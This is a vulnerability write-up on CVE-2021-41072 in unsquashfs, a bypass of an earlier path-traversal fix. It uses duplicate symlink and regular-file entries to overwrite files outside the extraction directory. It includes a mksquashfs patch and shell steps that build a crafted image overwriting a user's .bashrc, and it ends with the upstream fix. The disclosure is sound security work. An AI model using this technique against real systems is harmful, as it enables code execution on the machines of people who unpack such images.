Re-exploiting unsquashfs

Squashfs is a compressed read-only filesystem for Linux that is commonly used on embedded systems, rescue systems or similar cases. The squashfs-tools package provides a set of userspace tools to create, modify and unpack squashfs image files. Prominent among security researchers is the unsquashfs tool which extracts a squashfs image to specified path.

In 2021 commit 79b5a555058e (“Unsquashfs: fix write outside destination directory exploit”) introduced a fix for unsquashfs that intends to fix vulnerability CVE-2021-40153: A specially crafted filesystem could trick the unsquashfs tool to overwrite arbitrary files.

This fix however, missed an important part, which allows practically the same exploit in another way. This vulnerability is identified as CVE-2021-41072.

Vulnerabilities of this sort are especially problematic since unsquashfs is widely used among security researchers to analyze the firmware of embedded systems. A carefully crafted squashfs will work perfectly fine when mounting in Linux but can overwrite files when unpacking and thus compromise the system of the security researcher.

Let’s do it again

Let’s take a closer look at how CVE-2021-40153 was fixed and how we can bypass this fix for CVE-2021-41072:

Squashfs stores the filename in the directory entry, which unsquashfs uses to create the new file while unpacking. However, unsquashfs did not validate the filename for directory traversal outside the destination before commit 79b5a555058e. A specially crafted squashfs image could thus write to locations outside the target directory, such as /etc/crontab when unpacked with unsquashfs. This in turn could lead to code execution.

The fix for CVE-2021-40153 validates that no file in a squashfs image may contain slashes nor a dot-dot sequence (..) which makes it impossible to have filenames that point outside the target directory.

But there is another way to break outside the target directory while unsquashing: Using good old symlinks!

First, we notice that unsquashfs has no check whether a directory already contains multiple directory entries with the same name. We can thus craft a valid filesystem with multiple identically named files in the same directory. During unpacking, unsquashfs will just overwrite the contents of the existing file.

When we combine this so that we first create a symlink which points outside the target directory, we can then overwrite this target file’s contents with the identically named regular file in the squashfs image. This works, because unsquashfs will just follow the symlink it created.

Exploiting the issue

So, let’s create a new squashfs filesystem that contains a symlink with the name a-symlink.txt that points to the user’s .bashrc. In the next step, we will patch mksquashfs such that it will create a crafted filesystem where a-symlink.txt is both, a symlink and a regular file:

diff --git a/squashfs-tools/mksquashfs.c b/squashfs-tools/mksquashfs.c
index 127df00fb789..d9ea11a5e175 100644
--- a/squashfs-tools/mksquashfs.c
+++ b/squashfs-tools/mksquashfs.c
@@ -1141,9 +1141,13 @@ static void add_dir(squashfs_inode inode, unsigned int inode_number, char *name,
    struct squashfs_dir_entry idir;
    unsigned int start_block = inode >> 16;
    unsigned int offset = inode & 0xffff;
-       unsigned int size = strlen(name);
+       unsigned int size;
    size_t name_off = offsetof(struct squashfs_dir_entry, name);

+       if (strcmp(name, "z-payload.txt") == 0)
+               name = "a-symlink.txt";
+       size = strlen(name);
    if(size > SQUASHFS_NAME_LEN) {
        size = SQUASHFS_NAME_LEN;
        ERROR("Filename is greater than %d characters, truncating! ..."

Create a filesystem that will include z-payload.txt (which can be a hostile script) as a-symlink.txt:

$ ln -s ../.bashrc a-symlink.txt
$ echo "echo Whooops!" > z-payload.txt
$ mksquashfs.patched . ../image.sfs

Now we have a filesystem with two identical file names in the same directory. One a-symlink.txt is a symlink that points to ../.bashrc, the other one is a regular file which contains the text echo Whooops!.

Squashfs directory entries have an order and are usually sorted. This is why our evil a-symlink.txt has z-payload.txt as original name, that way we ensure that unsquashfs first creates the symlink and later writes the regular file.

To make the exploit more flexible, the crafted image can even contain a whole series of ../.bashrc target paths with different path depths. This way, the path is determined automatically. In this example we will add only one symlink to keep it simple.

When Linux mounts the crafted filesystem, it reports no error. It just lists the a-symlink.txt symlink twice:

$ mount -o loop ../image.sfs /mnt/
$ ls -l /mnt/
lrwxrwxrwx 1 root root 13 12. Aug 00:33 /mnt/a-symlink.txt -> ../.bashrc
lrwxrwxrwx 1 root root 13 12. Aug 00:33 /mnt/a-symlink.txt -> ../.bashrc

But when unsquashing, it overwrites the bashrc in the user’s home directory (given unsquashfs is executed one directory layer below $HOME in this example):

$ pwd
$ unsquashfs -d destination/ ../image.sfs

On next login, our message will appear when the shell follows the symlink written over the user’s bashrc (and thus parses our z-payload.txt contents):


Exploit successful!

Mitigating the problem

Commit e0485802ec72 (“Unsquashfs: additional write outside destination directory exploit fix”) fixes CVE-2021-41072.

It does so by explicitly checking for duplicate filenames within a directory by using sorted directories in v2.1, v3.x and v4.0 filesystems and checking for consecutively identical filenames. Additionally, it ensures sorted directories for v1.x and v2.0 filesystems (no native sorting available), by manually sorting first.